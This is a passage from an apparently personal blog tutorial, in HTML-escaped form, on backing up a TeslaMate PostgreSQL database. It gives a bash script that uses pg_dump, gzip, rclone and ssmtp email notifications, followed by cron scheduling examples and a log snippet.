&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;FROM_EMAIL&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;your-email@example.com&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Replace with the authorized sender email address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;TIMEOUT_DURATION&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set timeout duration (in seconds) for sending email&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;RCLONE_CONFIG&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/home/amit/.config/rclone/rclone.conf&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Path to the rclone config file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Initialize a variable to capture the entire log&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;FULL_LOG&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Function to log messages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;()&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;date &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;+%Y-%m-%d %H:%M:%S&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; - &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$1&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; | tee -a &lt;span style=&#34;color:#f4dbd6&#34;&gt;$LOGFILE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;FULL_LOG&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$1&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Function to send email notification&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;send_email&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;()&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;local&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;STATUS&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$1&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;local&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;SUBJECT&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Backup &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;STATUS&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; - &lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;date &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;+%Y-%m-%d %H:%M:%S&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;local&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;BODY&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The backup script &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;STATUS&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; on &lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;$(&lt;/span&gt;date&lt;span style=&#34;color:#c6a0f6&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.\n\nLog details:\n&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$FULL_LOG&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;echo&lt;/span&gt; -e &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;To: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$EMAIL&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\nFrom: \&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$FROM_NAME&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&amp;#34; &amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$FROM_EMAIL&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;gt;\nSubject: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SUBJECT&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$BODY&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; | timeout &lt;span style=&#34;color:#f4dbd6&#34;&gt;$TIMEOUT_DURATION&lt;/span&gt; ssmtp &lt;span style=&#34;color:#f4dbd6&#34;&gt;$EMAIL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;EMAIL_EXIT_CODE&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Email command exit code: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$EMAIL_EXIT_CODE&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$EMAIL_EXIT_CODE&lt;/span&gt; -eq &lt;span style=&#34;color:#f5a97f&#34;&gt;124&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Email sending timed out after &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$TIMEOUT_DURATION&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; seconds&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$EMAIL_EXIT_CODE&lt;/span&gt; -ne &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed to send email&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Email sent successfully&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Start of the script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Starting backup script.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Change to the source directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;cd&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$SOURCEDIR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$?&lt;/span&gt; -eq &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Changed directory to &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SOURCEDIR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed to change directory to &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$SOURCEDIR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_email &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;exit&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Perform the database dump and compress it&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker compose &lt;span style=&#34;color:#91d7e3&#34;&gt;exec&lt;/span&gt; -T database pg_dump -U teslamate teslamate | gzip &amp;gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FILENAME&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$?&lt;/span&gt; -eq &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Database dump and compression successful: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$FILENAME&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Database dump and compression failed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_email &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;exit&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Move the compressed file to the remote backup directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rclone --config &lt;span style=&#34;color:#f4dbd6&#34;&gt;$RCLONE_CONFIG&lt;/span&gt; move &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FILENAME&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$BACKUPDIR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;[&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$?&lt;/span&gt; -eq &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Successfully moved backup to &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$BACKUPDIR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed to move backup to &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$BACKUPDIR&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_email &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;exit&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Backup script completed successfully.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Send email notification&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;send_email &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Completed Successfully&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you run the script, you should receive an email notification after completing the backup. The email will contain the log details of the backup process. You can customize the email content and format as needed. The image below shows an example email notification:
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/email.jpg&#34; alt=&#34;Email notification&#34;/&gt;
        &lt;figcaption&gt;Email notification&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-44---scheduling-the-backup-script&#34;&gt;Step 4.4 - Scheduling the Backup Script&lt;/h3&gt;
&lt;p&gt;You can schedule the script to run regularly using a &lt;code&gt;cron&lt;/code&gt; job to automate the backup process. You can create a &lt;code&gt;cron&lt;/code&gt; job to run the script daily, weekly, or at any interval you prefer. Here&amp;rsquo;s an example of a cron job to run the script daily:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; * * * /home/amit/backup.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This cron job runs the &lt;code&gt;backup.sh&lt;/code&gt; script every day at midnight. You can customize the schedule based on your requirements. To add the cron job, open the crontab file using the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crontab -e&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Add the cron job to the file and save it. The cron job will now run the backup script at the specified interval.&lt;/p&gt;
&lt;p&gt;I have the script running at 5 AM, 1 PM, and 9 PM daily. In addition, I log the output of the cron job to a file (&lt;code&gt;backup_cron.log&lt;/code&gt;) so I can review it later if there is an issue.  Here are the steps to set this up:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;5&lt;/span&gt; * * * /home/amit/backup.sh &amp;gt;&amp;gt; /home/amit/backup_cron.log 2&amp;gt;&amp;amp;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;13&lt;/span&gt; * * * /home/amit/backup.sh &amp;gt;&amp;gt; /home/amit/backup_cron.log 2&amp;gt;&amp;amp;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;21&lt;/span&gt; * * * /home/amit/backup.sh &amp;gt;&amp;gt; /home/amit/backup_cron.log 2&amp;gt;&amp;amp;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Be sure to replace &lt;code&gt;/home/amit/backup.sh&lt;/code&gt; with the actual path to your backup script. The &lt;code&gt;&amp;gt;&amp;gt; /home/amit/backup_cron.log 2&amp;gt;&amp;amp;1&lt;/code&gt; part of the cron job redirects the script output to the specified log file. This allows you to capture the script output and any errors during execution.&lt;/p&gt;
&lt;p&gt;Finally, you can check the cron job status using the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crontab -l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This will list the cron jobs that are currently scheduled. You can also check the cron job logs to verify that the script is running as expected.&lt;/p&gt;
&lt;p&gt;Here is a snippet of the &lt;code&gt;backup_cron.log&lt;/code&gt; file from my system:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2024-07-05 13:00:01 - Starting backup script.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2024-07-05 13:00:01 - Changed directory to /home/amit/teslamate
